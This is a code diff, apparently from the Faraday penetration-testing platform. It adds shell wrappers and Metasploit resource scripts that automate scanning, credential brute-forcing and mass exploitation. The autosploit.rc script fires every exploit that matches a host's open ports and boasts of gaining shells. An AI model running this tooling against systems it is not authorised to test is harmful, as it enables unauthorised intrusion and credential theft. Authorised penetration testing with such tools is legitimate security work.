72 | 77 | target = args.target |
73 | 78 | print '[-] Target selected: ', target |
74 | 79 | else: |
77 | 82 | print 'Starting ZAP ...' |
78 | 83 | |
79 | 84 | global child_pid |
80 | proc = subprocess.Popen([cmd,'-daemon']) | |
85 | proc = subprocess.Popen([cmd, '-daemon']) | |
81 | 86 | child_pid = proc.pid |
82 | 87 | |
83 | 88 | print 'Waiting for ZAP to load, 10 seconds ...' |
98 | 103 | zap.spider.scan(target) |
99 | 104 | # Give the Spider a chance to start |
100 | 105 | time.sleep(2) |
101 | #print 'Status %s' % zap.spider.status | |
106 | # print 'Status %s' % zap.spider.status | |
102 | 107 | while(int(zap.spider.status) < 100): |
103 | 108 | print 'Spider progress %: ' + zap.spider.status |
104 | 109 | time.sleep(2) |
120 | 125 | print 'Hosts: ' + ', '.join(zap.core.hosts) |
121 | 126 | # print 'Alerts: ' |
122 | 127 | # pprint (zap.core.alerts()) |
123 | #pprint (zap.core.xmlreport()) | |
128 | # pprint (zap.core.xmlreport()) | |
124 | 129 | exportfile(args.output,zap) |
125 | 130 | |
126 | 131 | print 'Shutting down ZAP ...' |
128 | 133 | #EOF |
129 | 134 | |
130 | 135 | if __name__ == "__main__": |
131 | main()⏎ | |
136 | main() |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource auto_cred_checker.rc \ | |
14 | --options THREADS=100 | |
15 | ||
16 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource auto_brute.rc \ | |
14 | --options THREADS=100 | |
15 | ||
16 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | modules_file=msf-modules.txt | |
4 | ||
5 | if ! test -f $xml; then | |
6 | echo XML file $xml not found | |
7 | exit 1 | |
8 | elif ! test -f $modules_file; then | |
9 | echo no modules file found | |
10 | exit 2 | |
11 | fi | |
12 | ||
13 | while read m; do | |
14 | NAME="$(date +%s)-$(basename $0)" | |
15 | echo "Run msfrpc plugin.." | |
16 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
17 | --log $(realpath $3$NAME.log) \ | |
18 | --xml $xml \ | |
19 | --resource autoexploit.rc \ | |
20 | --options MODE=check:MODULE=$m | |
21 | done <$modules_file |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | modules_file=msf-modules.txt | |
4 | ||
5 | if ! test -f $xml; then | |
6 | echo XML file $xml not found | |
7 | exit 1 | |
8 | elif ! test -f $modules_file; then | |
9 | echo no modules file found | |
10 | exit 2 | |
11 | fi | |
12 | ||
13 | while read m; do | |
14 | NAME="$(date +%s)-$(basename $0)" | |
15 | echo "Run msfrpc plugin.." | |
16 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
17 | --log $(realpath $3$NAME.log) \ | |
18 | --xml $xml \ | |
19 | --resource autoexploit.rc \ | |
20 | --options MODE=dry:MODULE=$m | |
21 | done <$modules_file |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | modules_file=msf-modules.txt | |
4 | ||
5 | if ! test -f $xml; then | |
6 | echo XML file $xml not found | |
7 | exit 1 | |
8 | elif ! test -f $modules_file; then | |
9 | echo no modules file found | |
10 | exit 2 | |
11 | fi | |
12 | ||
13 | while read m; do | |
14 | NAME="$(date +%s)-$(basename $0)" | |
15 | echo "Run msfrpc plugin.." | |
16 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
17 | --log $(realpath $3$NAME.log) \ | |
18 | --xml $xml \ | |
19 | --resource autoexploit.rc \ | |
20 | --options MODE=exploit:MODULE=$m | |
21 | done <$modules_file |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource $(realpath scripts/resources/autosploit.rc) \ | |
14 | --options THREADS=100:TARGET_PLATFORM=aix,android,bsdi,dialup,firefox,freebsd,hpux,irix,linux,mainframe,multi,netware,solaris,unix,windows:BLACKLIST=freebsd/samba/trans2open,linux/samba/trans2open,osx/samba/trans2open,solaris/samba/trans2open | |
15 | ||
16 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | modules_file=msf-modules.txt | |
3 | if ! test -f $modules_file; then | |
4 | echo no modules file found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | while read h; do | |
9 | NAME="$(date +%s)-$(basename $0)-$h" | |
10 | echo "Run msfrpc plugin.." | |
11 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
12 | --log $(realpath $3$NAME.log) \ | |
13 | --modules $(sed ':a;N;$!ba;s/\n/,/g' $modules_file) \ | |
14 | --options RHOSTS=$h:RHOST=$h \ | |
15 | --command=run | |
16 | done <$1 |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource mssql_brute.rc \ | |
14 | --options THREADS=100 | |
15 | ||
16 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --resource nessus_vulns_cleaner.rc \ | |
13 | --xml $xml | |
14 | ||
15 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) | |
12 | --resource port_cleaner.rc \ | |
13 | --xml $xml | |
14 | ||
15 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource $(realpath scripts/resources/autoscan.rc) \ | |
14 | --options MAX_LEN=100:THREADS=100:BLACKLIST=scanner/telnet/brocade_enable_login,scanner/rogue/rogue_recv \ | |
15 | --quiet | |
16 | ||
17 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | NAME="$(date +%s)-$(basename $0)" | |
3 | echo "Run msfrpc plugin.." | |
4 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
5 | --log $(realpath $3$NAME.log) \ | |
6 | --resource basic_discovery.rc \ | |
7 | --options THREADS=100:NMAP=true:NMAPOPTS="$CS_NMAP_ARGS":RHOSTS=$(sed ':a;N;$!ba;s/\n/,/g' $1) | |
8 | ||
9 | cp $2$NAME.xml msf-workspace.xml |
0 | #!/bin/bash | |
1 | ||
2 | NAME="$(date +%s)-$(basename $0)" | |
3 | echo "Run msfrpc plugin.." | |
4 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
5 | --log $(realpath $3$NAME.log) \ | |
6 | --resource basic_discovery.rc \ | |
7 | --options THREADS=100:NMAP=false:RHOSTS=$(sed ':a;N;$!ba;s/\n/,/g' $1) | |
8 | ||
9 | cp $2$NAME.xml msf-workspace.xml |
0 | #!/bin/bash | |
1 | ||
2 | NAME="$(date +%s)-$(basename $0)" | |
3 | echo "Run msfrpc plugin.." | |
4 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
5 | --log $(realpath $3$NAME.log) \ | |
6 | --resource portscan.rc \ | |
7 | --options THREADS=100:NMAP=true:NMAPOPTS=$CS_NMAP_ARGS:RHOSTS=$(sed ':a;N;$!ba;s/\n/,/g' $1) | |
8 | ||
9 | cp $2$NAME.xml msf-workspace.xml |
0 | #!/bin/bash | |
1 | ||
2 | NAME="$(date +%s)-$(basename $0)" | |
3 | echo "Run msfrpc plugin.." | |
4 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
5 | --log $(realpath $3$NAME.log) \ | |
6 | --resource portscan.rc \ | |
7 | --options THREADS=100:NMAP=false:RHOSTS=$(sed ':a;N;$!ba;s/\n/,/g' $1) | |
8 | ||
9 | cp $2$NAME.xml msf-workspace.xml |
5 | 5 | ### |
6 | 6 | |
7 | 7 | NAME="nmap_$(date +%s).xml" |
8 | ${CS_NMAP:=nmap} -iL $1 -oX $2$NAME | |
8 | ${CS_NMAP:=nmap} $CS_NMAP_ARGS -iL $1 -oX $2$NAME |
62 | 62 | |
63 | 63 | echo "Processing target $h..." |
64 | 64 | |
65 | #echo $CS_OMP -u $USER_NAME -w $USER_PASSWORD --xml=\ | |
65 | echo $CS_OMP -u $USER_NAME -w $USER_PASSWORD --xml=\ | |
66 | 66 | "<create_target>\ |
67 | 67 | <name>TARG$(date +%s)</name><hosts>$h</hosts>\ |
68 | 68 | <alive_tests>$ALIVE_TEST</alive_tests>\ |
0 | # autoscan.rc | |
1 | # Author: Sliim (Github: @Sliim / Twitter: @_Sliim_) | |
2 | ||
3 | # This Metasploit resource script will run several auxiliary scanners | |
4 | # against present hosts in current workspace. It get all services for | |
5 | # all hosts, and try to find auxiliary modules starting with `scanner/` | |
6 | # where default RPORT option match with a service. | |
7 | # We can blacklist some modules we don't want, the BLACKLIST option | |
8 | # is a comma separated list of module to disable. | |
9 | ||
10 | <ruby> | |
11 | begin | |
12 | framework.db.hosts | |
13 | rescue ::ActiveRecord::ConnectionNotEstablished | |
14 | print_error("Database connection isn't established") | |
15 | return | |
16 | end | |
17 | ||
18 | # Check for blacklisted modules | |
19 | blacklist = [] | |
20 | if (framework.datastore['BLACKLIST'] != nil) | |
21 | blacklist = framework.datastore['BLACKLIST'].split(',') | |
22 | end | |
23 | ||
24 | scanners = {} | |
25 | count = 0 | |
26 | ran = 0 | |
27 | ||
28 | print_status("Getting scanners list, this may take a while...") | |
29 | framework.db.hosts.each do |host| | |
30 | port_list = [] | |
31 | scanners[host.address] = [] | |
32 | print_status("Host: #{host.address} - #{host.os_name}") | |
33 | print_status("Services: ") | |
34 | host.services.each do |serv| | |
35 | next if not serv.host | |
36 | next if (serv.state != Msf::ServiceState::Open) | |
37 | print_status("> :#{serv.port.to_i} - #{serv.proto} - #{serv.name}") | |
38 | port_list << serv.port.to_i if not port_list.include? serv.port.to_i | |
39 | end | |
40 | ||
41 | framework.modules.auxiliary.each do |name, mod| | |
42 | next if blacklist.include? name | |
43 | next if not name.starts_with? "scanner/" | |
44 | next unless mod | |
45 | m = mod.new | |
46 | next unless m.datastore.has_key? 'RPORT' | |
47 | if port_list.include? m.datastore['RPORT'].to_i | |
48 | scanners[host.address] << name | |
49 | count += 1 | |
50 | end | |
51 | end | |
52 | end | |
53 | ||
54 | print_status("Ok! Launching #{count} scanners..") | |
55 | scanners.each do |host, s| | |
56 | s.each do |scanner| | |
57 | print_line("[#{ran+1}/#{count}] Deploying auxiliary #{scanner} against #{host}") | |
58 | run_single("use #{scanner}") | |
59 | run_single("set RHOSTS #{host}") | |
60 | run_single("show options") | |
61 | run_single("run") | |
62 | ran += 1 | |
63 | end | |
64 | end | |
65 | ||
66 | print_status("Done. Deployed #{ran} scanners.") | |
67 | </ruby> |
0 | # autosploit.rc | |
1 | # Author: Sliim (Github: @Sliim / Twitter: @_Sliim_) | |
2 | ||
3 | # This Metasploit resource script will run several exploits against | |
4 | # present hosts in current workspace. It get all services for all hosts, | |
5 | # and try to find exploits where default RPORT option match with a service. | |
6 | # We can blacklist some modules we don't want, the BLACKLIST option is a | |
7 | # comma separated list of module to disable. | |
8 | # The TARGET_PLATFORM option can be used to define which platform we target | |
9 | # (ex: if all hosts are linux os, no need to launch windows exploits). | |
10 | # Tested on metasploitable 2. Got 6/7 shells without effort :) | |
11 | ||
12 | <ruby> | |
13 | begin | |
14 | framework.db.hosts | |
15 | rescue ::ActiveRecord::ConnectionNotEstablished | |
16 | print_error("Database connection isn't established") | |
17 | return | |
18 | end | |
19 | ||
20 | # Check for target platform list | |
21 | if (framework.datastore['TARGET_PLATFORM'] == nil) | |
22 | run_single("setg TARGET_PLATFORM aix,android,apple_ios,bsdi,dialup,firefox,freebsd,hpux,irix,linux,mainframe,multi,netware,osx,solaris,unix,windows") | |
23 | end | |
24 | ||
25 | # Check for blacklisted modules | |
26 | blacklist = [] | |
27 | if (framework.datastore['BLACKLIST'] != nil) | |
28 | blacklist = framework.datastore['BLACKLIST'].split(',') | |
29 | end | |
30 | ||
31 | sploits = {} | |
32 | count = 0 | |
33 | ran = 0 | |
34 | ||
35 | print_status("Getting vulns list, this may take a while...") | |
36 | framework.db.hosts.each do |host| | |
37 | port_list = [] | |
38 | sploits[host.address] = [] | |
39 | print_status("Host: #{host.address} - #{host.os_name}") | |
40 | print_status("Services: ") | |
41 | host.services.each do |serv| | |
42 | next if not serv.host | |
43 | next if (serv.state != Msf::ServiceState::Open) | |
44 | print_status("> :#{serv.port} - #{serv.proto} - #{serv.name}") | |
45 | port_list << serv.port.to_i if not port_list.include? serv.port.to_i | |
46 | end | |
47 | ||
48 | framework.modules.exploits.each do |name, mod| | |
49 | next if not framework.datastore['TARGET_PLATFORM'].split(',').include? name.split('/')[0] | |
50 | next if blacklist.include? name | |
51 | ||
52 | # TODO Improve platform detection / exploit selection | |
53 | if host.os_name | |
54 | next if name.split('/')[0] == 'windows' && ! host.os_name.match(/Windows/) | |
55 | next if name.split('/')[0] != 'windows' && host.os_name.match(/Windows/) | |
56 | end | |
57 | next unless mod | |
58 | m = mod.new | |
59 | next unless m.datastore.has_key? 'RPORT' | |
60 | if port_list.include? m.datastore['RPORT'].to_i | |
61 | sploits[host.address] << name | |
62 | count += 1 | |
63 | end | |
64 | end | |
65 | end | |
66 | ||
67 | print_status("Ok dude! I found #{count} matching sploits! #{'Take a beer!' if count > 100}") | |
68 | ||
69 | sploits.each do |host, s| | |
70 | s.each do |sploit| | |
71 | print_status("[#{ran+1}/#{count}] Deploying exploit #{sploit} against #{host}") | |
72 | run_single("use #{sploit}") | |
73 | run_single("set RHOST #{host}") | |
74 | run_single("set LPORT #{4444 + rand(65535-44444)}") | |
75 | run_single("show options") | |
76 | run_single("exploit -z") | |
77 | ran += 1 | |
78 | print_status('Take another beer ;)') if ran % 100 == 0 | |
79 | end | |
80 | end | |
81 | ||
82 | print_status("Done. Tried #{ran}/#{count} exploits.") | |
83 | </ruby> |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource autocrawler.rc \ | |
14 | --options THREADS=100 | |
15 | ||
16 | cp $2$NAME.xml $xml |
0 | #!/bin/bash | |
1 | ||
2 | while read h; do | |
3 | NAME="$(date +%s)-$(basename $0)" | |
4 | HOST=$(echo $h | cut -d/ -f3 | cut -d: -f1) | |
5 | PORT=$(echo $h | cut -d/ -f3 | cut -d: -f2) | |
6 | echo "Run msfrpc plugin.." | |
7 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
8 | --log $(realpath $3$NAME.log) \ | |
9 | --modules auxiliary/scanner/http/dir_scanner \ | |
10 | --options RHOSTS=$HOST:RPORT=$PORT \ | |
11 | --command=run | |
12 | done <$1 |
0 | #!/bin/bash | |
1 | ||
2 | xml=msf-workspace.xml | |
3 | if ! test -f $xml; then | |
4 | echo XML file $xml not found | |
5 | exit 1 | |
6 | fi | |
7 | ||
8 | NAME="$(date +%s)-$(basename $0)" | |
9 | echo "Run msfrpc plugin.." | |
10 | ./plugin/msfrpc.py --output $(realpath $2$NAME.xml) \ | |
11 | --log $(realpath $3$NAME.log) \ | |
12 | --xml $xml \ | |
13 | --resource wmap_autotest.rc \ | |
14 | --options THREADS=100:WMAP_PROFILE=profile | |
15 | ||
16 | cp $2$NAME.xml $xml |
5 | 5 | ### |
6 | 6 | while read h; do |
7 | 7 | NAME="nikto_$(date +%s).xml" |
8 | ${CS_NIKTO:=nikto} -host $h -output $2$NAME -Format XML | |
9 | done <$1⏎ | |
8 | ${CS_NIKTO:=nikto} $CS_NIKTO_ARGS -host $h -output $2$NAME -Format XML | |
9 | done <$1 |
14 | 14 | def list_credentials(workspace=None): |
15 | 15 | |
16 | 16 | validate_workspace(workspace) |
17 | ||
18 | get_logger(__name__).debug("Request parameters: {!r}"\ | |
19 | .format(flask.request.args)) | |
17 | ||
18 | get_logger(__name__).debug( | |
19 | "Request parameters: {!r}".format( | |
20 | flask.request.args)) | |
20 | 21 | |
21 | 22 | cred_filter = filter_request_args() |
22 | 23 | |
23 | 24 | dao = CredentialDAO(workspace) |
24 | 25 | result = dao.list(cred_filter=cred_filter) |
25 | 26 | |
26 | return flask.jsonify(result)⏎ | |
27 | return flask.jsonify(result) |
4 | 4 | |
5 | 5 | import ConfigParser |
6 | 6 | import json |
7 | import os, shutil | |
7 | import os | |
8 | import shutil | |
8 | 9 | import errno |
9 | 10 | |
10 | 11 | from logging import NOTSET, DEBUG, INFO, WARNING, ERROR, CRITICAL |
11 | 12 | from config import globals as CONSTANTS |
12 | ||
13 | from config.configuration import getInstanceConfiguration | |
13 | 14 | |
14 | 15 | LOGGING_LEVEL = INFO |
15 | 16 | |
24 | 25 | LOCAL_CONFIG_FILE = os.path.expanduser( |
25 | 26 | os.path.join(CONSTANTS.CONST_FARADAY_HOME_PATH, 'config/server.ini')) |
26 | 27 | |
27 | CONFIG_FILES = [ DEFAULT_CONFIG_FILE, LOCAL_CONFIG_FILE ] | |
28 | CONFIG_FILES = [DEFAULT_CONFIG_FILE, LOCAL_CONFIG_FILE] | |
28 | 29 | WS_BLACKLIST = CONSTANTS.CONST_BLACKDBS |
29 | 30 | |
30 | 31 | |
45 | 46 | from server.utils.logger import get_logger |
46 | 47 | get_logger(__name__).info(u"Local faraday-server configuration created at {}".format(LOCAL_CONFIG_FILE)) |
47 | 48 | |
49 | ||
48 | 50 | def parse_and_bind_configuration(): |
49 | 51 | """Load configuration from files declared in this module and put them |
50 | 52 | on this module's namespace for convenient access""" |
63 | 65 | for section in __parser.sections(): |
64 | 66 | globals()[section] = ConfigSection(section, __parser) |
65 | 67 | |
68 | ||
66 | 69 | def __get_version(): |
67 | 70 | try: |
68 | 71 | version = open(VERSION_FILE, 'r').read().strip() |
70 | 73 | version = '' |
71 | 74 | return version |
72 | 75 | |
76 | ||
77 | def __get_osint(): | |
78 | try: | |
79 | return getInstanceConfiguration().getOsint() | |
80 | except: | |
81 | return '' | |
82 | ||
83 | ||
73 | 84 | def gen_web_config(): |
74 | 85 | doc = { |
75 | 86 | 'ver': __get_version(), |
76 | 'lic_db': CONSTANTS.CONST_LICENSES_DB | |
87 | 'lic_db': CONSTANTS.CONST_LICENSES_DB, | |
88 | "osint": __get_osint() | |
77 | 89 | } |
78 | 90 | if os.path.isfile(WEB_CONFIG_FILE): |
79 | 91 | os.remove(WEB_CONFIG_FILE) |
80 | 92 | with open(WEB_CONFIG_FILE, "w") as doc_file: |
81 | 93 | json.dump(doc, doc_file) |
82 | 94 | |
95 | ||
83 | 96 | def is_debug_mode(): |
84 | 97 | return LOGGING_LEVEL is DEBUG |
85 | 98 | |
86 | 99 | parse_and_bind_configuration() |
87 |
7 | 7 | from server.models import Credential, EntityMetadata |
8 | 8 | from server.utils.database import apply_search_filter |
9 | 9 | |
10 | ||
10 | 11 | class CredentialDAO(FaradayDAO): |
11 | 12 | |
12 | 13 | MAPPED_ENTITY = Credential |
13 | 14 | |
14 | 15 | COLUMNS_MAP = { |
15 | 'couchid': [EntityMetadata.couchdb_id], | |
16 | 'username': [Credential.username], | |
17 | 'password': [Credential.password], | |
18 | } | |
16 | 'couchid': [EntityMetadata.couchdb_id], | |
17 | 'username': [Credential.username], | |
18 | 'password': [Credential.password]} | |
19 | 19 | |
20 | STRICT_FILTERING = ["couchid"] | |
20 | STRICT_FILTERING = ["couchid"] | |
21 | 21 | |
22 | 22 | def list(self, search=None, cred_filter={}): |
23 | 23 | results = self.__query_database(search, cred_filter) |
24 | 24 | |
25 | rows = [ self.__get_cred_data(result.cred) for result in results ] | |
26 | ||
25 | rows = [self.__get_cred_data(result.cred) for result in results] | |
27 | 26 | result = { |
28 | 27 | 'rows': rows |
29 | 28 | } |
68 | 67 | 'owner': cred.owner, |
69 | 68 | 'command_id': cred.command_id |
70 | 69 | }, |
71 | 'couchid': cred.couchdb_id }} | |
72 | ||
70 | 'couchid': cred.couchdb_id}} |
8 | 8 | from sqlalchemy.ext.declarative import declarative_base |
9 | 9 | |
10 | 10 | |
11 | SCHEMA_VERSION = 'W.2.3.1' | |
11 | SCHEMA_VERSION = 'W.2.4.0' | |
12 | 12 | |
13 | 13 | Base = declarative_base() |
14 | 14 |
2 | 2 | # See the file 'doc/LICENSE' for the license information |
3 | 3 | |
4 | 4 | import flask |
5 | ||
5 | import os | |
6 | 6 | from server.app import app |
7 | 7 | |
8 | 8 | |
9 | 9 | @app.route('/info', methods=['GET']) |
10 | 10 | def show_info(): |
11 | response = flask.jsonify({'Faraday Server': 'Running'}) | |
11 | faraday_directory = os.path.dirname(os.path.realpath('faraday.py')) | |
12 | ||
13 | file_path = os.path.join(faraday_directory, 'VERSION') | |
14 | ||
15 | with open(file_path, 'r') as version_file: | |
16 | version = version_file.read().strip() | |
17 | ||
18 | response = flask.jsonify({'Faraday Server': 'Running', 'Version': version}) | |
12 | 19 | response.status_code = 200 |
13 | 20 | |
14 | 21 | return response |
15 |
Binary diff not shown
46 | 46 | return statuses; |
47 | 47 | })()); |
48 | 48 | |
49 | faradayApp.config(['$routeProvider', 'ngClipProvider', function($routeProvider, ngClipProvider) { | |
49 | faradayApp.config(['$routeProvider', 'ngClipProvider', '$uibTooltipProvider', | |
50 | function($routeProvider, ngClipProvider, $uibTooltipProvider) { | |
51 | $uibTooltipProvider.options({ | |
52 | appendToBody: true | |
53 | }); | |
50 | 54 | ngClipProvider.setPath("script/ZeroClipboard.swf"); |
51 | 55 | $routeProvider. |
52 | 56 | when('/dashboard/ws/:wsId', { |
131 | 131 | }, |
132 | 132 | workspace: function() { |
133 | 133 | return $scope.workspace; |
134 | }, | |
135 | osint: function() { | |
136 | return $scope.osint; | |
134 | 137 | } |
135 | 138 | } |
136 | 139 | }); |
31 | 31 | }, |
32 | 32 | workspace: function() { |
33 | 33 | return $scope.workspace; |
34 | }, | |
35 | osint: function() { | |
36 | return $scope.osint; | |
34 | 37 | } |
35 | 38 | } |
36 | 39 | }); |
3 | 3 | |
4 | 4 | angular.module('faradayApp') |
5 | 5 | .controller('summarizedCtrlHostsModal', |
6 | ['$scope', '$modalInstance', 'dashboardSrv', 'workspace', 'srv_name', | |
7 | function($scope, $modalInstance, dashboardSrv, workspace, srv_name) { | |
8 | ||
6 | ['$scope', '$modalInstance', 'dashboardSrv', 'workspace', 'srv_name', 'osint', | |
7 | function($scope, $modalInstance, dashboardSrv, workspace, srv_name, osint) { | |
8 | ||
9 | $scope.osint = osint; | |
9 | 10 | $scope.sortField = 'name'; |
10 | 11 | $scope.sortReverse = false; |
11 | 12 | $scope.clipText = "Copy to Clipboard"; |
3 | 3 | |
4 | 4 | angular.module('faradayApp') |
5 | 5 | .controller('summarizedCtrlServicesModal', |
6 | ['$scope', '$modalInstance', 'dashboardSrv', 'workspace', 'host', | |
7 | function($scope, $modalInstance, dashboardSrv, workspace, host) { | |
6 | ['$scope', '$modalInstance', 'dashboardSrv', 'workspace', 'host', 'osint', | |
7 | function($scope, $modalInstance, dashboardSrv, workspace, host, osint) { | |
8 | 8 | |
9 | 9 | $scope.host = host |
10 | 10 | $scope.sortField = 'port'; |
11 | 11 | $scope.sortReverse = false; |
12 | $scope.osint = osint; | |
12 | 13 | |
13 | 14 | // toggles sort field and order |
14 | 15 | $scope.toggleSort = function(field) { |
30 | 30 | <span ng-if="(cmd.hosts_count != 0 && cmd.services_count != 0 && cmd.vulnerabilities_count == 0) || (cmd.hosts_count != 0 && cmd.services_count == 0 && cmd.vulnerabilities_count != 0)"> & </span> |
31 | 31 | <span ng-if="cmd.services_count > 0">{{cmd.services_count}} {{cmd.services_count == 1 ? 'service' : 'services'}}</span> |
32 | 32 | <span ng-if="(cmd.hosts_count != 0 && cmd.services_count != 0 && cmd.vulnerabilities_count != 0) || (cmd.hosts_count == 0 && cmd.services_count != 0 && cmd.vulnerabilities_count != 0)"> & </span> |
33 | <span ng-if="cmd.vulnerabilities_count > 0"><a ng-click="navigate('/status/ws/' + cmd.workspace + '/search/command_id=' + cmd._id)"> {{cmd.vulnerabilities_count}} {{cmd.vulnerabilities_count == 1 ? 'vulnerability' : 'vulnerabilities'}}</a></span> | |
33 | <span ng-if="cmd.vulnerabilities_count > 0"><a ng-click="navigate('/status/ws/' + workspace + '/search/command_id=' + cmd._id)"> {{cmd.vulnerabilities_count}} {{cmd.vulnerabilities_count == 1 ? 'vulnerability' : 'vulnerabilities'}}</a></span> | |
34 | 34 | <span ng-if="cmd.criticalIssue > 0">- {{cmd.criticalIssue}} {{cmd.criticalIssue == 1 ? 'is' : 'are'}} rated as <b>Critical</b>.</span> |
35 | 35 | <span class ="small-size" am-time-ago="cmd.date"/> |
36 | 36 | </td> |
22 | 22 | <tr ng-repeat="host in hosts"> |
23 | 23 | <td class="col-xs-6"> |
24 | 24 | <a href="" class="host" ng-click="showServices(host)">{{host.name}}</a> |
25 | <a href="//www.shodan.io/search?query={{host.name}}" uib-tooltip="Search in Shodan" target="_blank"> | |
26 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
25 | <a href="//{{osint.host}}/search?query={{host.name}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
26 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px" /> | |
27 | 27 | </a> |
28 | 28 | </td> |
29 | 29 | <td class="col-xs-6">{{host.services}}</td> |
19 | 19 | <td><input disabled type="checkbox" ng-model="host.owned"/></td> |
20 | 20 | <td> |
21 | 21 | {{host.name}} |
22 | <a href="//www.shodan.io/search?query={{host.name}}" uib-tooltip="Search in Shodan" target="_blank"> | |
23 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
22 | <a href="//{{osint.host}}/search?query={{host.name}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
23 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px" /> | |
24 | 24 | </a> |
25 | 25 | </td> |
26 | 26 | <td>{{host.os}}</td> |
20 | 20 | <tr ng-repeat="srv in services | orderBy:sortField:sortReverse"> |
21 | 21 | <td> |
22 | 22 | {{srv.name}} |
23 | <a href="//www.shodan.io/search?query={{srv.name}}" uib-tooltip="Search in Shodan" target="_blank"> | |
24 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
23 | <a href="//{{osint.hostl}}/search?query={{srv.name}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
24 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px"/> | |
25 | 25 | </a> |
26 | 26 | </td> |
27 | 27 | <td>{{srv.description}}</td> |
28 | 28 | <td> |
29 | 29 | {{srv.ports}} |
30 | <a href="//www.shodan.io/search?query=port:{{srv.ports}}" uib-tooltip="Search in Shodan" target="_blank"> | |
31 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
30 | <a href="//{{osint.host}}/search?query=port:{{srv.ports}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
31 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px" /> | |
32 | 32 | </a> |
33 | 33 | </td> |
34 | 34 | <td>{{srv.protocol}}</td> |
75 | 75 | selection-model-on-change="selectedHosts()"> |
